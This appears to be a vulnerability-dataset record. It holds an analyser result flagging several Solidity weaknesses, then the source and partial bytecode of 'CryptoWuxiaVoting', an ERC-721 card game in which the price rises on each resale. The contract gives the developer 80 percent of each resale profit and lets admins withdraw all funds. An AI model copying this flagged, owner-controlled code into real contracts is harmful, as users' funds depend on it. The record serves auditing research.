f6f494d6f6a555a79714e5161584176717757746837597168464238617743427451624742574f4f6f5342356665353164306e63654570466f4151645559793646673774496b492f6e446831447142717332364e396a445a57543936466c344e4b6471524768634f647972687164794d446144466e4164426276446868395554304b486d4d314e4b38424a77355378646450555363597958505943686a706e7038666379597658635135344d722f326c502b463241666c446c70354367516d4850325369434e426c44466c684e595a595a75447a4f4d573867686a6a61794b326d614d344a7a615464644e7a335739392f674438526839576a66775a38372b47332f366e4e376d3841762b5950336234636a724d6245356e4567486d7545717848515442764c4476337a64497169462f73683676346c39533955766b4c4653705772564b567a4d56526a682b32562f4d6b37664d416e2f43514953734d613533367976334554503951745478475042517a6932394852593947324b66424d64517273496c73707a782f35676441722f506a696c414443394932496f67434b322f74736f78456451504e79437146646a39566f4a77454d6937585252752f615033556e616b6e5a2f7174335948647973487050514e4f6d6c455653416e4e6f48446b324573446d7777702b754d654377715047464a4143516e78596164685a552b6c7758437956686d424e6d4f6b41594d7533366b34494f71665645457875473779353832376554564f6e766b52704c637264365830634c4f4d696d3431524d567249524954703252555a68643049495651305a6f6d6154645030436c6d616d78456e486a2f4c714d4e7a354d6241355977445652484b4e347044314d6851564955392f6e7a66575a37336d4c353237796c614b337033375833574c725553474d536c4e4d74536a413239413838617375333951367441784471593346597a32396179752f536e4f3378494b386631347a48414f4a6b412f666e426b7462376269594e66384355463951765a7a4d357a39394b576135747a68304b675652636f53344874357644783954516d726f36762f30697874504a6e68696a776262645a6f41314d77524d6e6549675572427331323133354a463350567433354a4e50626769615265703875706b346c7a4551473542734c7942466b4f42504449436d665a7a7a327a594776524b736b51434141354675745a6553646143476e6b35526f54795564417831546e4a652b5a5a495734775665397664624a3065483361582b353274595765462b6a5534627869546841336d6a4c424a7362634a323732647462655663746b616e57435153576264475578444c65356279304f7469664755596f45787335362b354f4731705848664742596f525662535863744f33343875794b324867715473486848565967346a4f566b6443366b2f457a3761554b506f65586a3664516436552b6b45675576447343452b6834704d4243424f2f6278345048437a4f31656a456c4f6373416845485236766f61632f682b2f316368526c4154492f7546412b7443584c4c767258547362316c44594139557358696e444b6b503378522f2f6b76645850487379524f6b38545a4733544267766a623859784536594632544b6d795874684141303273396b4c4a734d6976486851536473733958334263643562706b644b4b4f6d683935626f5976384b56547375305955714b302f7969644a5a4b536a4d616d656b517754436b4e47697633385839304b676f3735495672592f3846326b534a3351786f67525376715454374b686853794243473737722b554978435a484875362f52736c6b6b6d424f482f397547634d34756843484750725a676737742b62524d46775244582f705763616c37516b5249396f3436467461616a4734676161756e5445796d4e4145564a4d454a4733326b336b7578574e4a2f4c766539457675667233336959574f63395543486754504368596d7877307131576333497336587652497972484e4c46715570645a553362334b2b59486a63706f336e46584a43546155786c424f71494c397a4871416b48786364795456647775594b564772754a43395779784d596b2b523970444f4b635371425a306b524342306a4654754a465458354850757663724c43795052386e472b3663624a77373733696a3463376b6a7750473679636270733434305a423356542f646e5a71386b636e6553456c32662b424e3067544a754e77674756486a4c634263506661334f4446497a307355384767514e413071734c6a6835306f574869644f6e36702f63625a7a785950487a792f6b6a6c3962734468634533623047533337383242576944792b6d644d6545536c53736f583362504d6b535a6e716c3250544d49475753645a3547557a6d51305a32464370724c514b59514a7533644664616157527455796248714649455676316e453279666c6a656a2b4e7a707771475263336d6c7836644f726a7561624e65685133697a363264705870376f584c4868654876796d77354f7a57396e484757594e5076763746704a3766392f666d3757617035475a316a5856586c4b51784c4a733075534c4a73464d534b754a49717539676466396848637631716d6a71304b6b754b623466554e6d712b62757a77653642647652535a763339557166565665534578664576506e364b536469335a6b7166634d6b6c774a306c7733673472356b6a48634e71322f4e4577423272487a6d355733657a596b456f394f3362446b3146444756353161614a6b56484d7263534466706b7368316f544b2b34785a36557a566d656a334f36713164313069633366543645505537463973615a6f34716876672b617a4f75462f526e6e6a78514f445379767a6a6a4f4b3466394f733353554a4a716d686d6a6e334e4f4f784d7a5a75546e5774576e65684d665a4e6f596c4b724f5046384954755257734630672b74594d53492b4b776175495a394d7369762f34653139777134304b59575478654d4b737172774f4e30477a612b542f5375576e576a58766c35557443546d7a35484a4f7866747a4937644e3042674543626b656d57716d4b66675353335431685348794848745945475038716c2b5a514b3549565447443652645959675a686a504d304165777952427350514e64597032474a676e305830563652475457394b5367454e5263744e396a696a5a35395542756546394a596a52736f4c626e796c665774636c334e396674456a574f2f487372745250724d774a4b3964794532452b524b616c637479796c4c45796a4456464a6a446d4d744858496a7a76646533656572302b394e545269584d456d4930356a78435a59793457466c746f367674694a716d64764d49344d4a543834333770373735302b35487361436b4758336670596b76313870335a33397576335a54664566384a546f6c6957576446586f7532517949416b455175466f4b392b6f764d382f33702b61426d4e5143486f755648444567345548306c7966454c4e434c677a7548666e3555626b3175516959773866526754694d526d776e676439747a4f73455972764f6d534a44732b34385544337961625851396d6b4c5631336643515a32396b47456444795264416943554572726b463651684d454c5965676e6d73676f5a70363246724f2f31734f52652b5262312b4a7a41784349576a5a4372766c52733437472b2b68326739332f53547a3543382b4571694f70744751576e41633761666d484b4d6c4835734972714d3438445742686b7434535475614471616c4e7a4e5659577a6c3775354d674e4631364852784f65544364526b6662354c776b62587150363472584b502f64716439372b366237526e663674524d4742474a78656b4d684f6e4f5a6d6a53786678494377303776505633445a31786f454a2f6666616835744d335933756d485471454b70517332367a59435a594770546936556162787236593261492b68507a3567586666776566584e493830366b796c49556d6c4a6765675469324174376a743861745858714e353947347a75697a545669583530726a653637586e686939333563616c43722f7a6f496e566459583178366a645247436a303668674e465875706734315a67386b5249795a39664f76703656662b76332b6a617a4753504d6c744d59676134776569344a4c545443347a4e56696e71596b59333974516f703332616c3174346237445a56337a4c7051565061384374555757325a616a554557563858394665426c6f4c444a7a47556168524479474c34474e58484e703477624e6832756d2f6675766d31492f43444858555447566c30394a79592b312b6f3532714c423171436a4837596f76794376506656554e6e3741375073574e546c6e5a7a726e7946536e354b385555656b3746315a7a2f52747833634f7154374754444d54594e797777373957487a44333569727878786d726f37306a4e37344c55563431624978337a57544672524d66724763537774585467614e7471534c39527456524979736538612b4c623161576c715a66647057724e6d53304a322f462b757930307a586c302f4c2f4a56706c77473167364c75564c64444e66395a50537254444c757036536d3730612f3869767a447a7556544352397a3272656e4872314b516c447a524a6271436d5a574e314d2b48336669583556456e62636d7666616b554734706839667a4a787749574d504d44376b5a34576e5130754146556169516f75524f564b53657553724135776a69323431624c46456862315a62686d33466168636c2b626c707333614f5849424456506c706e392b47352b6a477562536e385a585a7a473646444f623055765332375735524a76426b50344c4275546c507349313242787443352f794e647578337a6a495562376e596a6b65592f4f714c714f78726e6757334b63325144374a5a393163356a6469552f41363059466b70354b414a6a624148695a795273542b35634a547873546f646142754955426a4b5932474b6547474442476b343031496544326549446c57725638516872374c46387a6e466578487565783038623369464b706a73694547444471666a61485145324559355a4c4662512b50486f37483646793748392b632f434d366d656432477a59455a665a6f3845776978544b705a79797a7136572b33797a61594b316d562f2f415958495a47536963764d5559534c6b654b76734e427945484d6c2b382f787144735074354e645954645936667943716c345a4248686146387042516b63474435596b595a6f2f4d7148426f664d376a536e334a6d506270413543304c6e386b4b2f773853307837757854344c63366a4732766f393438426e74445a7a736e66562f735842586c486731656438766a624478372b515054574c71666d384a5832476b36465a5673756f746b68597659794b49626a526e637a395a7742306a2b7479694f70576a5238344f4751694c56395935317047414e534c6c614f5873577045436654682b335969464d49324b506a634236306f7056544151716c436735497978787a4c565a714f3077496947465a356b71362f74426539547a444370534c64396d426773646b4a2f596f654f764451684b614e36777a396678345a4767796d624b7067616d3439794e514a7537796534364b554e4b414e724648355a696a4973473265596743472b39635a444a796a594a4d414d5a467571614d58484e7a344842344d4a51744355594e625670443061316c6d4442672f527857354754486e31524454524d4f5351534763514a4e4c33614265594c4530796d644159354a495144356571344c44756549643544776b2f534d44744a666746497957464d796e3635385836556632594b4654794336744871736a753175436d594778594366486f4175393451683849544b6235794633473162795a55684c72486c3548454d3653736b362b434d30475a74553651616854434b67515a56674d57303163522b787656426e51506b3234422b5a78504f675555774a4f46325553756852566c52657a5645384e58744132307033745372493932435a46394345564539444454464b424a6f4f6b53394b503650383855716f317976305936685a4b6f6e417a574d794947566e384f303048674d76536234514d5a46696a735a544370544f4233554938354c4361324a304b6172672f734b736e6f4447746b5a6e5568793034424b42615651466d6551304835412b7035546d736d5832675335644a352f466e624e72544c2b736b7430574873546d6e736a474d525939776952577470476d6e7462323770556675766f3976335831636e4130692b2f65456339563153354f736a624a7978583734364735622b2f6e51674c413757454e366336636d56473978525179534456504b556e33414e76435a2f4e2f33726767754e6e564e2b557274346c6d356b346a4e4c6e56327056783041707a726548746c756c2f554c517a633953787a58525a486d6f34466c4b56637a69614f4a30316b36706a74583863696f753774377067734d707a574c6a6d513264414f4b314f6e736a592f55527a4e5a764d304b6842675544657851587973524b385742676169306d6c6e76746f39424b70704171424f594f564352534b4e4a6a5050324248725956636c3042416837375a674535656947626b47306d774568394361754e314a7955484f45686469625a44445273576b2b614b6f4a525070476d676e516c6c585044576e326d5365726a747462387979613370656f566c4e352b307a4b4634786e6c5351786d726a7669575536644f70703054676f6c6f383479754d5a524a4b7244394d42616754666a4b62543430514a5850574f554572347869583748414d41384d655137684b50522b57726e4a50624644546b3266676c644a546775316f4148634758794962697443446f7258334a714f334c7055427a536d496c67694d7a4868317a61464a2f6f743976683362477a7362303435682f2b3137447a2f5039776f65796f4142775741674833772f796b554f775a6b4d3451615632646f7172366c45364736506f626f6d633055356d6f586168767374794e39444a75474a736b776f32614737694451314d53656d7435364154564e4b616870493965595166565538427075635758375236785830316974546c4e6b74674d4d56466d4c7154556d4473334235414f652f575263474b4a487344656c6c42732b746132444345315a5050315458432b6870597143376d376544557a56442b565354425745764232776e7a3661303445702f55593070513336462b42456b66636f4f4142786b732b5a3234734a417a65414c7059513559616c634c6a66307454696363755178396557785243424c4a733847574935464d6773444275627241674e354252476a6465744c456b724c4939474f6d3239534a34655a4c31455054334465686c506e7a6a6c465778393755503653454d7066516635695569576b57316143577a787a543334515969372f68376e716d66415230514f36744c344d6a32737a36496f687156476e4d696257783870696d6d7a3630733170704e5078455337582b71686f43434a6c557a42486658416c533565305746486474676d3538634235736d77515a5464474459536e5a44386f57466c3533676771436b6f494246716152344e6c5732446770634a456e596739466a4369647362327472317735587362703467474c78376c34627178355262515446512b54706d4d514f4241346356355267473962795878663550516451777438724f436239526b486b56745636776e6e6449644e5252574d45344459434d4b3269747773546b3863557653736f6156422f346b6f7a72545775766277624d6479317a756b5a694e59757837513152497a4c495055594d355577755079383278714d6d6c556c693366464b4f6f34715244714b4f56695a446e7a313731376b4b2f2b6f75566d556f7a696844455045425044696d7550625278653574544e35416c7444745656543462764553307037494c584843386e456a6d5954587058564e515937596b2b61566b534a68724b6f3152764e34423931586c636d30396e2f4c72612f58466c6457393967436b66314a646a6532643362507a67384f6a375a32472b414133684141455241416d524141565241417a436741776177414a624169704266306c6852774362576c68577957437a467355764b6b687a75746732327754473442732f6747774a446149674d635572617731476c2b4462624f666c4f384b39724d41544654457049337754414d4c4a4a39584e7374646b43695448624a454735465845316431625470554e58505a526d624c436955652b683349795a6a516e75496236584549613458727766596e7478726b6a7378665169715a646f5248497653595755586e496f556e736f7669504154444d4d634d5675694e627954343976777172714a4e4b4c634e2f7447735273457777414141413d2920666f726d61742827776f66663227293b20666f6e742d7765696768743a206e6f726d616c3b20666f6e742d7374796c653a206e6f726d616c3b7d3c2f7374796c653e3c72656374206865696768743d2731303025272077696474683d2731303025272066696c6c3d2723666666666666272f3e3c2f646566733e3c7061746820643d274d35393020313735304335393020313735302035383020313735302035383020313734304c313432302e3635203236302e36343343313432302e3635203236302e3634332031343330203236392e3335372031343330203238304c313433302031373330433134333020313734302031343230203137353020313431302031373530272066696c6c3d2775726c28234c696e6561724772616469656e742927206f7061636974793d2731272f3e3c2f7376673ea26469706673582212209ac154c80242fb9880311c75def0894d95052dcd82aef5e2d07810175d4c84ed64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,434
0x06426743ab506a2d542e2ef08a680d948917dbe6
pragma solidity ^0.4.21; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="eb8f8e9f8eab8a93828486918e85c58884">[email&#160;protected]</a>> (https://github.com/dete) contract ERC721 { // Required methods function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) public view returns (address owner); function approve(address _to, uint256 _tokenId) public; function transfer(address _to, uint256 _tokenId) public; function transferFrom(address _from, address _to, uint256 _tokenId) public; // Events event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl); // ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165) // function supportsInterface(bytes4 _interfaceID) external view returns (bool); } contract CryptoWuxiaVoting is ERC721{ using SafeMath for uint256; event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); address private owner; mapping (address => bool) private admins; IItemRegistry private itemRegistry; uint256 private increaseLimit1 = 0.01 ether; uint256 private increaseLimit2 = 0.1 ether; uint256 private increaseLimit3 = 1.0 ether; uint256 private increaseLimit4 = 5.0 ether; uint256 private canBuy = 1; uint256[] private listedItems; mapping (uint256 => address) private ownerOfItem; mapping (uint256 => uint256) private priceOfItem; /* if some one buy a card, how much he will win*/ mapping (uint256 => uint256) private profitOfItem; mapping (uint256 => address) private approvedOfItem; function CryptoWuxiaVoting () public { owner = msg.sender; admins[owner] = true; } /* Modifiers */ modifier onlyOwner() { require(owner == msg.sender); _; } modifier onlyAdmins() { require(admins[msg.sender]); _; } /* Owner */ function setOwner (address _owner) onlyOwner() public { owner = _owner; } function setItemRegistry (address _itemRegistry) onlyOwner() public { itemRegistry = IItemRegistry(_itemRegistry); } function addAdmin (address _admin) onlyOwner() public { admins[_admin] = true; } function removeAdmin (address _admin) onlyOwner() public { delete admins[_admin]; } /* when vote end, we need stop buy to frozen the result.*/ function stopBuy () onlyOwner() public { canBuy = 0; } function startBuy () onlyOwner() public { canBuy = 1; } /* Withdraw */ /* NOTICE: These functions withdraw the developer&#39;s cut which is left in the contract by `buy`. User funds are immediately sent to the old owner in `buy`, no user funds are left in the contract. */ function withdrawAll () onlyAdmins() public { msg.sender.transfer(this.balance); } function withdrawAmount (uint256 _amount) onlyAdmins() public { msg.sender.transfer(_amount); } /* Listing */ function populateFromItemRegistry (uint256[] _itemIds) onlyOwner() public { for (uint256 i = 0; i < _itemIds.length; i++) { if (priceOfItem[_itemIds[i]] > 0 || itemRegistry.priceOf(_itemIds[i]) == 0) { continue; } listItemFromRegistry(_itemIds[i]); } } function listItemFromRegistry (uint256 _itemId) onlyOwner() public { require(itemRegistry != address(0)); require(itemRegistry.ownerOf(_itemId) != address(0)); require(itemRegistry.priceOf(_itemId) > 0); uint256 price = itemRegistry.priceOf(_itemId); address itemOwner = itemRegistry.ownerOf(_itemId); listItem(_itemId, price, itemOwner); } function listMultipleItems (uint256[] _itemIds, uint256 _price, address _owner) onlyAdmins() external { for (uint256 i = 0; i < _itemIds.length; i++) { listItem(_itemIds[i], _price, _owner); } } function listItem (uint256 _itemId, uint256 _price, address _owner) onlyAdmins() public { require(_price > 0); require(priceOfItem[_itemId] == 0); require(ownerOfItem[_itemId] == address(0)); ownerOfItem[_itemId] = _owner; priceOfItem[_itemId] = _price; listedItems.push(_itemId); } /* Buying */ function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) { if (_price < increaseLimit1) { return _price.mul(200).div(100); } else if (_price < increaseLimit2) { return _price.mul(150).div(100); } else if (_price < increaseLimit3) { return _price.mul(130).div(100); } else if (_price < increaseLimit4) { return _price.mul(120).div(100); } else { return _price.mul(110).div(100); } } function calculateDevCut (uint256 _profit) public view returns (uint256 _devCut) { // dev got 80 percent of profit, and then send to top voter return _profit.mul(80).div(100); } /* Buy a country directly from the contract for the calculated price which ensures that the owner gets a profit. All countries that have been listed can be bought by this method. User funds are sent directly to the previous owner and are never stored in the contract. */ function buy (uint256 _itemId) payable public { require(priceOf(_itemId) > 0); require(ownerOf(_itemId) != address(0)); require(msg.value >= priceOf(_itemId)); require(ownerOf(_itemId) != msg.sender); require(!isContract(msg.sender)); require(msg.sender != address(0)); require(canBuy > 0); address oldOwner = ownerOf(_itemId); address newOwner = msg.sender; uint256 price = priceOf(_itemId); uint256 profit = profitOfItem[_itemId]; uint256 excess = msg.value.sub(price); _transfer(oldOwner, newOwner, _itemId); // update price and profit uint256 next_price = nextPriceOf(_itemId); priceOfItem[_itemId] = next_price; uint256 next_profit = next_price - price; profitOfItem[_itemId] = next_profit; Bought(_itemId, newOwner, price); Sold(_itemId, oldOwner, price); // Devevloper&#39;s cut which is left in contract and accesed by // `withdrawAll` and `withdrawAmountTo` methods. uint256 devCut = calculateDevCut(profit); // Transfer payment to old owner minus the developer&#39;s cut. oldOwner.transfer(price.sub(devCut)); if (excess > 0) { newOwner.transfer(excess); } } /* ERC721 */ function name() public view returns (string name) { return "Ethwuxia.pro"; } function symbol() public view returns (string symbol) { return "EWX"; } function totalSupply() public view returns (uint256 _totalSupply) { return listedItems.length; } function balanceOf (address _owner) public view returns (uint256 _balance) { uint256 counter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { counter++; } } return counter; } function ownerOf (uint256 _itemId) public view returns (address _owner) { return ownerOfItem[_itemId]; } function tokensOf (address _owner) public view returns (uint256[] _tokenIds) { uint256[] memory items = new uint256[](balanceOf(_owner)); uint256 itemCounter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { items[itemCounter] = listedItems[i]; itemCounter += 1; } } return items; } function tokenExists (uint256 _itemId) public view returns (bool _exists) { return priceOf(_itemId) > 0; } function approvedFor(uint256 _itemId) public view returns (address _approved) { return approvedOfItem[_itemId]; } function approve(address _to, uint256 _itemId) public { require(msg.sender != _to); require(tokenExists(_itemId)); require(ownerOf(_itemId) == msg.sender); if (_to == 0) { if (approvedOfItem[_itemId] != 0) { delete approvedOfItem[_itemId]; Approval(msg.sender, 0, _itemId); } } else { approvedOfItem[_itemId] = _to; Approval(msg.sender, _to, _itemId); } } /* Transferring a country to another owner will entitle the new owner the profits from `buy` */ function transfer(address _to, uint256 _itemId) public { require(msg.sender == ownerOf(_itemId)); _transfer(msg.sender, _to, _itemId); } function transferFrom(address _from, address _to, uint256 _itemId) public { require(approvedFor(_itemId) == msg.sender); _transfer(_from, _to, _itemId); } function _transfer(address _from, address _to, uint256 _itemId) internal { require(tokenExists(_itemId)); require(ownerOf(_itemId) == _from); require(_to != address(0)); require(_to != address(this)); ownerOfItem[_itemId] = _to; approvedOfItem[_itemId] = 0; Transfer(_from, _to, _itemId); } /* Read */ function isAdmin (address _admin) public view returns (bool _isAdmin) { return admins[_admin]; } function priceOf (uint256 _itemId) public view returns (uint256 _price) { return priceOfItem[_itemId]; } function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) { return calculateNextPrice(priceOf(_itemId)); } function allOf (uint256 _itemId) external view returns (address _owner, uint256 _price, uint256 _nextPrice) { return (ownerOf(_itemId), priceOf(_itemId), nextPriceOf(_itemId)); } function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items) { uint256[] memory items = new uint256[](_take); for (uint256 i = 0; i < _take; i++) { items[i] = listedItems[_from + i]; } return items; } /* Util */ function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } // solium-disable-line return size > 0; } function changePrice(uint256 _itemId, uint256 _price) public onlyAdmins() { require(_price > 0); require(admins[ownerOfItem[_itemId]]); priceOfItem[_itemId] = _price; } function issueCard(uint256 l, uint256 r, uint256 price) onlyAdmins() public { for (uint256 i = l; i <= r; i++) { ownerOfItem[i] = msg.sender; priceOfItem[i] = price; listedItems.push(i); } } } interface IItemRegistry { function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items); function ownerOf (uint256 _itemId) public view returns (address _owner); function priceOf (uint256 _itemId) public view returns (uint256 _price); }
0x6060604052600436106101a0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062923f9e146101a55780630562b9f7146101e057806306fdde0314610203578063095ea7b3146102915780630c6cd73a146102d357806313af403514610308578063161895eb146103415780631785f53c1461035657806318160ddd1461038f5780631fe8500e146103b857806323b872dd146103f157806324d7806c146104525780632a6dd48f146104a35780632e4f43bf1461050657806337525ff014610577578063442edd031461059a578063493a7209146105e55780635435bac8146105fa5780635a3f26721461067b5780635ba9e48e146107095780636352211e1461074057806365121205146107a357806370480275146107da57806370a0823114610813578063853828b6146108605780638f88aed01461087557806395d89b41146108cf578063a9059cbb1461095d578063b3de019c1461099f578063b9186d7d146109cb578063baddee6f14610a02578063d96a094a14610a58578063e08503ec14610a70575b600080fd5b34156101b057600080fd5b6101c66004808035906020019091905050610aa7565b604051808215151515815260200191505060405180910390f35b34156101eb57600080fd5b6102016004808035906020019091905050610abb565b005b341561020e57600080fd5b610216610b56565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561025657808201518184015260208101905061023b565b50505050905090810190601f1680156102835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561029c57600080fd5b6102d1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b99565b005b34156102de57600080fd5b6103066004808035906020019091908035906020019091908035906020019091905050610de4565b005b341561031357600080fd5b61033f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ef1565b005b341561034c57600080fd5b610354610f8f565b005b341561036157600080fd5b61038d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ff4565b005b341561039a57600080fd5b6103a26110a1565b6040518082815260200191505060405180910390f35b34156103c357600080fd5b6103ef600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110ae565b005b34156103fc57600080fd5b610450600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061114d565b005b341561045d57600080fd5b610489600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061119f565b604051808215151515815260200191505060405180910390f35b34156104ae57600080fd5b6104c460048080359060200190919050506111f5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561051157600080fd5b6105276004808035906020019091905050611232565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390f35b341561058257600080fd5b610598600480803590602001909190505061125f565b005b34156105a557600080fd5b6105e3600480803590602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611614565b005b34156105f057600080fd5b6105f86117a3565b005b341561060557600080fd5b6106246004808035906020019091908035906020019091905050611808565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066757808201518184015260208101905061064c565b505050509050019250505060405180910390f35b341561068657600080fd5b6106b2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611899565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106f55780820151818401526020810190506106da565b505050509050019250505060405180910390f35b341561071457600080fd5b61072a6004808035906020019091905050611997565b6040518082815260200191505060405180910390f35b341561074b57600080fd5b61076160048080359060200190919050506119b1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107ae57600080fd5b6107c460048080359060200190919050506119ee565b6040518082815260200191505060405180910390f35b34156107e557600080fd5b610811600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a1e565b005b341561081e57600080fd5b61084a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ad3565b6040518082815260200191505060405180910390f35b341561086b57600080fd5b610873611b63565b005b341561088057600080fd5b6108cd600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611c14565b005b34156108da57600080fd5b6108e2611db1565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610922578082015181840152602081019050610907565b50505050905090810190601f16801561094f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561096857600080fd5b61099d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611df4565b005b34156109aa57600080fd5b6109c96004808035906020019091908035906020019091905050611e45565b005b34156109d657600080fd5b6109ec6004808035906020019091905050611f53565b6040518082815260200191505060405180910390f35b3415610a0d57600080fd5b610a566004808035906020019082018035906020019190919290803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f70565b005b610a6e600480803590602001909190505061200d565b005b3415610a7b57600080fd5b610a91600480803590602001909190505061230f565b6040518082815260200191505060405180910390f35b600080610ab383611f53565b119050919050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b1357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610b5357600080fd5b50565b610b5e61267e565b6040805190810160405280600c81526020017f45746877757869612e70726f0000000000000000000000000000000000000000815250905090565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610bd457600080fd5b610bdd81610aa7565b1515610be857600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16610c08826119b1565b73ffffffffffffffffffffffffffffffffffffffff16141515610c2a57600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff161415610d28576000600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610d2357600c600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560003373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b610de0565b81600c600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b5050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610e3e57600080fd5b8390505b8281111515610eeb57336009600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a60008381526020019081526020016000208190555060088054806001018281610ec99190612692565b9160005260206000209001600083909190915055508080600101915050610e42565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610f4c57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610fea57600080fd5b6001600781905550565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561104f57600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000600880549050905090565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561110957600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1661116d826111f5565b73ffffffffffffffffffffffffffffffffffffffff1614151561118f57600080fd5b61119a838383612420565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000806000611240846119b1565b61124985611f53565b61125286611997565b9250925